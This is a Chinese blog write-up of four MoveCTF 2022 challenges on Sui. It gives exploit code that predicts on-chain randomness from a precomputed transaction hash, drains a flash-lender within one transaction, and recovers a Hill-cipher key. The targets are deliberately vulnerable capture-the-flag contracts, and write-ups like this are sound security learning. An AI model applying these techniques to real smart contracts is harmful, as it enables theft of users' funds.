MoveCTF 2022 题解

MoveCTF 2022 题解

·

9 min read

MoveCTFMoveBit 主办,Sui 赞助的一次 CTF(Capture the flag,夺旗游戏)。周日逛街的时候看到群友发的相关信息,感觉挺有趣,匆匆过了一下 Sui 的文档当起了做题家,比较顺利地完成了两天赛程。这里写一下题解,以做记录。

这次 CTF 一共四道题,每一题的最终目的都是通过调用目标合约的 get_flag 方法,成功触发 Flag Event,获得对应题目的 Flag

1. Checkin

代码仓库:https://github.com/movebit/movectf-1

目标合约为:

module movectf::checkin {
    use sui::event;
    use sui::tx_context::{Self, TxContext};

    struct Flag has copy, drop {
        user: address,
        flag: bool
    }

    public entry fun get_flag(ctx: &mut TxContext) {
        event::emit(Flag {
            user: tx_context::sender(ctx),
            flag: true
        })
    }
}

这是道用于熟悉比赛规则的题,直接 call 这个合约的 get_flag 方法即可。

2. Simple Game

代码仓库:https://github.com/movebit/movectf-6

这是个由四个合约构成的项目,代码比较多就不贴了,可以自行在代码仓库中查阅。这个项目写了一个简单的 RPG 游戏,主要合约有:

  • hero:定义了勇者相关的内容,比如勇者的创建、升级、剑和盔甲的装备等;

  • inventory:定义了物品相关内容,比如宝箱、剑和盔甲的创建,剑和盔甲的升级等,get_flag 也在这个合约里;

  • random:提供了随机数生成方法;

  • adventure : 定义了冒险相关内容,主要有:

    • 挑战 Boar(野猪怪),会花费 1 点耐久,成功击败野猪怪可以获得 1 经验值,同时有 10% 的概率获得剑,10% 的概率获得盔甲

    • 挑战 BoarKing(野猪王),会花费 2 点耐久,成功击败野猪王可以获得 2 经验值,同时有 1% 的概率获得宝箱,可以通过宝箱去换得通关需要的 Flag。需要注意的是 **Flag 的兑换成功几率也只有 1%,而且不管兑换成功与否,宝箱都会被销毁**(我没注意直接调用了 get_flag 被吞了一个宝箱……)。

为了成功通关,我需要击败野猪王来获得宝箱,而在击败野猪王之前我们需要通过击败足够的野猪来获得并升级装备,也为勇者积累足够的经验值用于升级。

看到这道题最直接的想法有两种,随机数攻击和 Try & Abort。显然前者是题目想要考察的,至于后者,我设想过是否能作为一种取巧的方式来解题。比如在和野猪王作战之后,检查下是否获得了宝箱,如果没有则回滚交易。但是由于我对 Sui 了解不足,并没有找到可以在合约内查看某账户所持有的资源的方法,所以只能作罢(其实后来注意到 get_flag 方法中设定了 1% 兑换成功率,说明出题者想要完全堵死 Try & Abort 这条路)。最后还是从随机数攻击方向考虑。

在击败猪猪们后,合约使用了 random::rand_u64_range 来生成 0 到 100 范围内的整数进行概率判断:

// hero takes their licks
if (fight_result == 1) { // hero won
    hero::increase_experience(hero, 2);

    let d100 = random::rand_u64_range(0, 100, ctx);
    if (d100 == 0) {
        let box = inventory::create_treasury_box(ctx);
        transfer::transfer(box, tx_context::sender(ctx));
    };
};

再查看 random 中的方法,可以看到随机数种子的生成逻辑:

fun seed(ctx: &mut TxContext): vector<u8> {
    let ctx_bytes = bcs::to_bytes(ctx);
    let uid = object::new(ctx);
    let uid_bytes: vector<u8> = object::uid_to_bytes(&uid);
    object::delete(uid);

    let info: vector<u8> = vector::empty<u8>();
    vector::append<u8>(&mut info, ctx_bytes);
    vector::append<u8>(&mut info, uid_bytes);

    let hash: vector<u8> = hash::sha3_256(info);
    hash
}

可以看到随机数种子的生成依赖于 ctx: &mut TxContext ,我们只要能够知道 ctx 的内容,就可以知道一笔交易执行过程中都会生成哪些随机数。那么什么是 TxContext 呢?

查看 Sui Framework 中的定义:

/// Information about the transaction currently being executed.
/// This cannot be constructed by a transaction--it is a privileged object created by
/// the VM and passed in to the entrypoint of the transaction as `&mut TxContext`.
struct TxContext has drop {
    /// A `signer` wrapping the address of the user that signed the current transaction
    signer: signer,
    /// Hash of the current transaction
    tx_hash: vector<u8>,
    /// The current epoch number.
    epoch: u64,
    /// Counter recording the number of fresh id's created while executing
    /// this transaction. Always 0 at the start of a transaction
    ids_created: u64
}

可以知道 ctx 中存放了当前交易相关的一些信息。在 Sui Move 的每个 entry fun 中,ctx 都会作为最后一个参数存在,在链下发起调用时 runtime 会自动加上这个参数,而在链上合约调用时ctx 需要显式传递。

查看 ctx 的四个 fields,我们可以分析出在一笔交易中, signerepoch 是已知且不变的的,tx_hash 是不变但是目前未知的,ids_created 是交易执行中新创建的 object 的数量,是可变可控的。每次在交易中一个新的 object 创建之后,ids_created 会加上 1,也就是说 object 的生成会改变 ctx 的内容,从而影响生成的随机数。如果我们在交易执行前知道这笔交易的 tx_hash,就可以知道链上执行时的 ctx 是怎样的,然后通过控制 object 的创建数就可以选择我们想要的随机数。

遗憾的是,在 SDK 中我没有找到在广播交易前离线获取已签名交易的 tx_hash 的方法,SDK 中所有交易的 tx_hash(又称 txDigest)都是在通过接口广播交易后获得的。最后我只能到 Sui 的代码中去翻相关逻辑,最后在这里找到了相关逻辑,整理下来大体过程如下:

let txdata_bytes = &mut Base64::decode(txdata).unwrap();
let tx = TransactionData::from_signable_bytes(txdata_bytes).unwrap();
let tx_signature = Signature::Ed25519SuiSignature(signature);
let signed_data = SenderSignedData { data: tx, tx_signature: tx_signature };
let hash = sha3_hash(& signed_data);

要获得 tx_hash,我们需要有未签名的交易数据(tx_data)以及签名数据(signature)。

Sui 提供了 JSON-RPC 接口来供我们直接通过交易参数生成未签名交易数据。由于我们是通过发布合约,再调用合约中的方法来解题的,所以我们可以使用 sui_moveCall 接口获得我们需要的交易数据。同时我们可以用 Sui 命令行工具中的 sui keytool sign 命令进行交易签名,至此,我们已经可以获得未广播交易的 tx_hash 了。

接下来的流程是:

  1. 部署解题合约;

  2. 使用 sui_moveCall 接口来构造调用解题合约的未签名交易 tx_data

  3. tx_data 在本地进行签名,得到 signature

  4. 使用 tx_datasignature 生成 tx_hash

  5. 使用 tx_hashsignerepoch 在本地测试代码中生成 ctx,这个 ctx 和交易提交到链上执行时的 ctx 是一样的;

  6. 在本地测试中使用 ctx 生成随机数,记录下我们需要的随机数:

     let ctx_val = tx_context::new(@sender, x"tx_hash", 0, 0);
     let ctx = &mut ctx_val;
    
     let counter = 0;
     let ids = 0;
     let winner_codes = vector::empty<u64>();
     while (counter < 2) {
             // rand_u64_range 方法中会生成一个 object
             // 从而增加 ctx 中的 ids_created,改变 ctx 的内容
             // 所以下次调用就能够生成另外一个随机数
         let value = random::rand_u64_range(0, 100, ctx);
         if (value == 0) {
             vector::push_back(&mut winner_codes, ids);
             counter = counter + 1;
         };
         ids = ids + 1;
     };
    
     debug::print(& winner_codes);
    
  7. 在解题合约执行过程中,只在 ctx 的 ids 能够生成我们需要的随机数时才进行操作,否则生成新的 object 来改变 ctx 的 ids。

那么具体我们需要哪些随机数呢?查看 adventure 代码可以知道,和野猪战斗时,要获得或者升级剑,我们需要生成 10 以下的随机数,要获得盔甲需要生成 [10, 20) 区间的随机数。和野猪王战斗时,我们需要生成的数字是 0。似乎我们需要先尝试控制和野猪战斗时的随机数,让勇者在每次战斗中都可以胜利并得到装备升级,让勇者足够强大的时候再去挑战野猪王。但是实际情况比较简单:

在这个项目中,勇者战斗之后,无论胜负都不会扣除生命值,也就是勇者在每场战斗中都是满状态的。勇者的耐久是 200,而升级需要的经验是 100,经过测试大部分情况下勇者都可以在和野猪的战斗中获胜,所以 200 耐久足够让勇者升级到最高等级 2 级了。另外经过测试,2 级的勇者加上战斗过程中自然获得的装备,也是大概率能击败野猪王的。

所以我们可以写下攻击合约的第一个函数,刷怪升级:

public entry fun slay_boars(hero: &mut Hero, ctx: &mut TxContext) {
    let stamina = hero::stamina(hero);

    while (stamina > 40) {
        adventure::slay_boar(hero, ctx);
        stamina = hero::stamina(hero);
    };

    hero::level_up(hero);
}

这里的 40 是随意写的一个数,其实最后剩下 2 都行,只要让勇者在挑战野猪王前留有足够耐久的前提下多刷野猪怪即可。

勇者升级并获得一些装备之后,我们就可以去挑战野猪王了:

public entry fun slay_boar_king(hero: &mut Hero, recorder: &mut Recorder, ctx: &mut TxContext) {
    let stamina = hero::stamina(hero);
    let chances = recorder::chances(recorder);

    let ids = 0;
    while (stamina > 0) {
        // create_monster will create 4 ids
        // create random number create 1 id
        // create box create 1 id
        if (vector::contains(&chances, &(ids + 4))) {
            adventure::slay_boar_king(hero, ctx);
            // If the hero get the box, then the ids should + 6
            // but it's not important anymore once we have the box
            ids = ids + 5;
        } else {
            let id = object::new(ctx);
            object::delete(id);
            ids = ids + 1;
        };

        stamina = hero::stamina(hero); 
    } 
}

我们将能够让随机数生成函数生成 0 的 id 数都记录在 recorder 中,称为机会数,如果当前 ctxids_created 加上 4 能等于机会数,则让勇者对野猪王进行挑战,否则生成一个新的 object 来增加 ids_created

这里需要注意几点:

  1. 我们没有直接把机会数组作为参数进行传递,而是从另外一个 object 读取。因为未签名交易的数据是包括交易参数的,而我们无法在获取 tx_hash 之前知道机会数是什么。

  2. 在获取未签名交易 tx1 后,不可以使用未签名交易中使用的 signer 签发其他任何交易,只能到时候用它来签发签名后的 tx1,否则使用的 gas object 会发生变化,导致 tx_hash 发生变化。因此获得机会数之后,将其传递到 recorder 合约需要使用另外一个地址做操作。

  3. 我们无法直接得到 ctxids_created,只知道在每笔交易开始是这个数字为 0,所以我们使用 ids 去模拟它的变化。slay_boar_king 中会生成野猪王,生成野猪王的过程中会创建 4 个 objects(这也是为什么上面要有 加上 4 能等于机会数的要求,因为加上 4 后的 ctx 才是用于生成随机数的 ctx),战斗结束后生成随机数会创建 1 个 object,这是在模拟 ids_created 过程中需要注意的。如果我们获得了宝箱,宝箱的创建也代表着一个 object 的创建,但是既然我们都获得宝箱了,后续的记录不正确也无关紧要了。

  4. 在上面的程序中,机会数的数量 * 2 要等于勇者剩余的耐久值,确保程序可以正常退出。

  5. Recorder 就是一个简单的 object,里面放了个数组来存机会数。其实机会数是一个数就够了,不需要是一个数组,写的时候没考虑太多。

最后,在击败野猪王获得宝箱后,调用 get_flag 时需要按照上面列的流程计算出能够成功兑换 Flag 的机会数,否则会被吞宝箱……

3. Flash Loan

代码仓库:https://github.com/movebit/movectf-4

合约代码:

module movectf::flash{

    // use sui::object::{Self, UID};
    // use std::vector;
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};
    use sui::object::{Self, ID, UID};
    use sui::balance::{Self, Balance};
    use sui::coin::{Self, Coin};
    use sui::vec_map::{Self, VecMap};
    use sui::event;
    // use std::debug;

    struct FLASH has drop {}

    struct FlashLender has key {
        id: UID,
        to_lend: Balance<FLASH>,
        last: u64,
        lender: VecMap<address, u64>
    }

    struct Receipt {
        flash_lender_id: ID,
        amount: u64
    }

    struct AdminCap has key, store {
        id: UID,
        flash_lender_id: ID,
    }

    struct Flag has copy, drop {
        user: address,
        flag: bool
    }

    // creat a FlashLender
    public fun create_lend(lend_coin: Coin<FLASH>, ctx: &mut TxContext) {
        let to_lend = coin::into_balance(lend_coin);
        let id = object::new(ctx);
        let lender = vec_map::empty<address, u64>();
        let balance = balance::value(&to_lend);
        vec_map::insert(&mut lender ,tx_context::sender(ctx), balance);
        let flash_lender = FlashLender { id, to_lend, last: balance, lender};
        transfer::share_object(flash_lender);
    }

    // get the loan
    public fun loan(
        self: &mut FlashLender, amount: u64, ctx: &mut TxContext
    ): (Coin<FLASH>, Receipt) {
        let to_lend = &mut self.to_lend;
        assert!(balance::value(to_lend) >= amount, 0);
        let loan = coin::take(to_lend, amount, ctx);
        let receipt = Receipt { flash_lender_id: object::id(self), amount };

        (loan, receipt)
    }

    // repay coion to FlashLender
    public fun repay(self: &mut FlashLender, payment: Coin<FLASH>) {
        coin::put(&mut self.to_lend, payment)
    }

    // check the amount in FlashLender is correct 
    public fun check(self: &mut FlashLender, receipt: Receipt) {
        let Receipt { flash_lender_id, amount: _ } = receipt;
        assert!(object::id(self) == flash_lender_id, 0);
        assert!(balance::value(&self.to_lend) >= self.last, 0);
    }

    // init Flash
    fun init(witness: FLASH, ctx: &mut TxContext) {
        let cap = coin::create_currency(witness, 2, ctx);
        let owner = tx_context::sender(ctx);

        let flash_coin = coin::mint(&mut cap, 1000, ctx);

        create_lend(flash_coin, ctx);
        transfer::transfer(cap, owner);
    }

    // get  the balance of FlashLender
    public fun balance(self: &mut FlashLender, ctx: &mut TxContext) :u64 {
        *vec_map::get(&self.lender, &tx_context::sender(ctx))
    }

    // deposit token to FlashLender
    public entry fun deposit(
        self: &mut FlashLender, coin: Coin<FLASH>, ctx: &mut TxContext
    ) {
        let sender = tx_context::sender(ctx);
        if (vec_map::contains(&self.lender, &sender)) {
            let balance = vec_map::get_mut(&mut self.lender, &sender);
            *balance = *balance + coin::value(&coin);
        }else {
            vec_map::insert(&mut self.lender, sender, coin::value(&coin));
        };
        coin::put(&mut self.to_lend, coin);
    }

    // withdraw you token from FlashLender
    public entry fun withdraw(
        self: &mut FlashLender,
        amount: u64,
        ctx: &mut TxContext
    ){
        let owner = tx_context::sender(ctx);
        let balance = vec_map::get_mut(&mut self.lender, &owner);
        assert!(*balance >= amount, 0);
        *balance = *balance - amount;

        let to_lend = &mut self.to_lend;
        transfer::transfer(coin::take(to_lend, amount, ctx), owner);
    }

    // check whether you can get the flag
    public entry fun get_flag(self: &mut FlashLender, ctx: &mut TxContext) {
        if (balance::value(&self.to_lend) == 0) {
            event::emit(Flag { user: tx_context::sender(ctx), flag: true });
        }
    }
}

题目已经提示得很明显了,闪电贷,也就是需要在一笔交易中完成借款和还款操作。查看 get_flag 函数可知,需要在 FlashLender 可借余额为 0 的时候进行调用才可以得到 FlagFlashLender 是一个贷款提供者,要成功解题,我们只需要在一笔交易中完成:

  1. FlashLender 借走它所有资金;

  2. 调用 get_flag 获得 Flag

  3. FlashLender 归还所有资金;

  4. 使用 Receipt 调用 check 向合约证明 FlashLender 账目正确。

解题代码如下:

module solver::lender {

    use sui::tx_context::TxContext;
    use movectf::flash::{Self, FlashLender};

    public entry fun lend(lender: &mut FlashLender, ctx: &mut TxContext) {
        let (coin, receipt) = flash::loan(lender, 1000, ctx);
        flash::get_flag(lender, ctx);
        flash::repay(lender, coin);
        flash::check(lender, receipt);
    }
}

4. Move Lock

代码仓库:https://github.com/movebit/movectf-5

合约代码:

module movectf::move_lock {

    // [*] Import dependencies
    use std::vector;

    use sui::event;
    use sui::object::{Self, UID};
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};

    // [*] Structs
    struct ResourceObject has key, store {
        id : UID,
        balance: u128,
        q1: bool
    }

    struct Flag has copy, drop {
        user: address,
        flag: bool
    }

    // [*] Module initializer
    fun init(ctx: &mut TxContext) {
        transfer::share_object(ResourceObject {
            id: object::new(ctx),
            balance: 100,
            q1: false,
        })
    }

    // [*] Public functions
    public entry fun movectf_unlock(data1 : vector<u64>, data2 : vector<u64>, resource_object: &mut ResourceObject, _ctx: &mut TxContext) {

        let encrypted_flag : vector<u64> = vector[19, 16, 17, 11, 9, 21, 18, 
                                                  2, 3, 22, 7, 4, 25, 21, 5, 
                                                  7, 23, 6, 23, 5, 13, 3, 5, 
                                                  9, 16, 12, 22, 14, 3, 14, 12, 
                                                  22, 18, 4, 3, 9, 2, 19, 5, 
                                                  16, 7, 20, 1, 11, 18, 23, 4, 
                                                  15, 20, 5, 24, 9, 1, 12, 5, 
                                                  16, 10, 7, 2, 1, 21, 1, 25, 
                                                  18, 22, 2, 2, 7, 25, 15, 7, 10];

        if (movectf_lock(data1, data2) == encrypted_flag) {
            if (!resource_object.q1) {
                resource_object.q1 = true;
            }
        }

    }

    fun movectf_lock(data1 : vector<u64>, data2 : vector<u64>) : vector<u64> {

        let input1 = copy data1;
        let plaintext = &mut input1;
        let plaintext_length = vector::length(plaintext);
        assert!(plaintext_length > 3, 0);

        if ( plaintext_length % 3 != 0) {
            if (3 - (plaintext_length % 3) == 2) {
                vector::push_back(plaintext, 0);
                vector::push_back(plaintext, 0);
                plaintext_length = plaintext_length + 2;
            }
            else {
                vector::push_back(plaintext, 0);
                plaintext_length = plaintext_length + 1;
            }
        };

        let complete_plaintext = vector::empty<u64>();
        vector::push_back(&mut complete_plaintext, 4);
        vector::push_back(&mut complete_plaintext, 15);
        vector::push_back(&mut complete_plaintext, 11);
        vector::push_back(&mut complete_plaintext, 0);
        vector::push_back(&mut complete_plaintext, 13);
        vector::push_back(&mut complete_plaintext, 4);
        vector::push_back(&mut complete_plaintext, 19);
        vector::push_back(&mut complete_plaintext, 19);
        vector::push_back(&mut complete_plaintext, 19);
        vector::append(&mut complete_plaintext, *plaintext);
        plaintext_length = plaintext_length + 9;

        let input2 = copy data2;
        let key = &mut input2;
        let a11 = *vector::borrow(key, 0);
        let a12 = *vector::borrow(key, 1);
        let a13 = *vector::borrow(key, 2);
        let a21 = *vector::borrow(key, 3);
        let a22 = *vector::borrow(key, 4);
        let a23 = *vector::borrow(key, 5);
        let a31 = *vector::borrow(key, 6);
        let a32 = *vector::borrow(key, 7);
        let a33 = *vector::borrow(key, 8);

        assert!(vector::length(key) == 9, 0);

        let i : u64 = 0;
        let ciphertext = vector::empty<u64>();
        while (i < plaintext_length) {
            let p11 = *vector::borrow(&mut complete_plaintext, i+0);
            let p21 = *vector::borrow(&mut complete_plaintext, i+1);
            let p31 = *vector::borrow(&mut complete_plaintext, i+2);

            let c11 = ( (a11 * p11) + (a12 * p21) + (a13 * p31) ) % 26;
            let c21 = ( (a21 * p11) + (a22 * p21) + (a23 * p31) ) % 26;
            let c31 = ( (a31 * p11) + (a32 * p21) + (a33 * p31) ) % 26;

            vector::push_back(&mut ciphertext, c11);
            vector::push_back(&mut ciphertext, c21);
            vector::push_back(&mut ciphertext, c31);

            i = i + 3;
        };    

        ciphertext

    }

    public entry fun get_flag(resource_object: &ResourceObject, ctx: &mut TxContext) {
        if (resource_object.q1) {
            event::emit(Flag { user: tx_context::sender(ctx), flag: true })
        }
    }
}

public 的函数只有两个 entry fun,一个用来 get_flag,一个用来 unlock,所以合约应该是没有什么直接的漏洞可以调用的。仔细看一下合约的内容,会发现它是在做一个矩阵乘法,也就是:

$$\begin{pmatrix} a & b & c \\ d & e & f \\ g & h & 1 \end{pmatrix}·\begin{pmatrix} 4 & 0 & 19 & m \\ 15 & 13 & 19 & n & ...\\ 11 & 4 & 19 & p \end{pmatrix} \pmod{26} = \begin{pmatrix} 19 & 11 & 18 & 22 \\ 16 & 9 & 2 & 7 & ...\\ 17 & 21 & 3 & 4 \end{pmatrix}$$

我们需要计算出左边两个矩阵所有的未知数。

由于最后都需要对 26 取模,所以每个数的数据范围都可以限定在 [0, 26),数据范围并不大。

由于 AB = C 中,C 的每个元素只和 A 中对应行和 B 中对应列相关,比如上面的例子中有

$$4a+15b+11c \pmod{26} = 19$$

所以我们可以得出:

$$\begin{pmatrix} a & b & c \\ d & e & f \\ g & h & l \end{pmatrix}·\begin{pmatrix} 4 & 0 & 19 \\ 15 & 13 & 19 \\ 11 & 4 & 19 \end{pmatrix}\pmod{26} = \begin{pmatrix} 19 & 11 & 18 \\ 16 & 9 & 2 \\ 17 & 21 & 3 \end{pmatrix}$$

按照矩阵乘法规则直接暴力走一走就可以得到左边的矩阵(题目合约中的 key 矩阵)为:

$$\begin{pmatrix}25 & 11 & 6 \\ 10 & 13 & 25 \\ 12 & 19 & 2\end{pmatrix}$$

得到 key 矩阵后,plaintext 矩阵中的剩余元素也可以很容易算出来。

小结

Simple Game 的难度远超其他两题(第一题就不算了),给的分数其实应该更高 hhh。借着这次玩 CTF,学习了一下 Sui,重温了一下 Move,总体而言还是很有意思的。